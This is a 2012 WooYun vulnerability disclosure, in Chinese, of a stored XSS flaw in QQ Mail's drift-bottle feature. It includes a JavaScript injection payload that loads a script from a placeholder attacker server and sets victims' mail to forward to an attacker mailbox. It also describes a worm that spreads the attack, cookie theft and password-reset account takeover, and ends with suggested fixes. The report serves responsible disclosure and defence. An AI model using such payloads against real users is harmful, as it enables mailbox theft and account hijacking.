当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010770

漏洞标题:漂流瓶:飘来的可能是局长,也可能是XSS , Orz ...

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-08-10 08:43

修复时间:2012-09-24 08:44

公开时间:2012-09-24 08:44

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-10: 细节已通知厂商并且等待厂商处理中
2012-08-10: 厂商已经确认,细节仅向厂商公开
2012-08-20: 细节向核心白帽子及相关领域专家公开
2012-08-30: 细节向普通白帽子公开
2012-09-09: 细节向实习白帽子公开
2012-09-24: 细节向公众公开

简要描述:

一只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!。漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。
试想:
1. 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?
2. 如果用这个东西做一个主动扩散的蠕虫,哇咔咔,一夜春风来,花落知多少啊,知多少......会有多少邮箱被设置转发到俺邮箱啦!!!
同时,在PKAV小组官网上,也对相关细节进行了描述,具体见:http://pkav.net/2012/08/qq-piaoliuping-xss/ (为了避免利用代码对厂商造成的危害,现在对此文进行了加密操作,厂商对漏洞修复后,将进行公开)

详细说明:

1. 漏洞成因:漂流瓶某处参数过滤不当,导致存储型XSS。
具体测试过程:
1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。
1.2 定位到发送的漂流上,F12打开调试工具看代码。


1.3 同时查看抓包的代码,可以看到相同内容。


1.4 进而进行字符测试,测试使用\u0022\u003E时,发生侧漏


1.5 说明这里对反斜线的过滤存在问题。
1.6 进一步构造我们的利用代码。下面仅贴出部分源码。
请求时的利用代码

var serv="恶意外部JS文件所在服务器";
var mail2rec="接受转发的邮箱";
var mailUin="发送恶意漂流瓶的Hacker QQ";
var evil_code="voice_21121721212136.mp3\\u0022\\u003e\\u003cimg src=1 onerror=\\u0022loadJSSrc(\\u0027"+serv+"?u="+mail2rec+"\\u0026i="+mailUin+"\\u0027);this.style.display=\\u0027none\\u0027\\u0022\\u003e\\u003cb a=\\u0022";


进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码

@see http://itsokla.duapp.com/qq_piaoliuping_xss_code.txt


代码中,所用到的pkav Object 见 http://itsokla.duapp.com/pkav.js (from http://pkav.net)
2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。
邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。


3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。


4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。


5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~


6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。
7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!


8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):


那么我们如果利用百度的密码找回功能。


可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。


10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。
11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。
12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。
13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!

漏洞证明:

见详细说明!

修复方案:

修复方法:
1. 修复当前XSS问题,但不能保证漂流瓶的其它功能是否存在类似问题。
2. 架构有问题,建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!
3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-08-10 12:52

厂商回复:

非常感谢gainover的报告,我们已在着手修复此问题。

最新状态:

暂无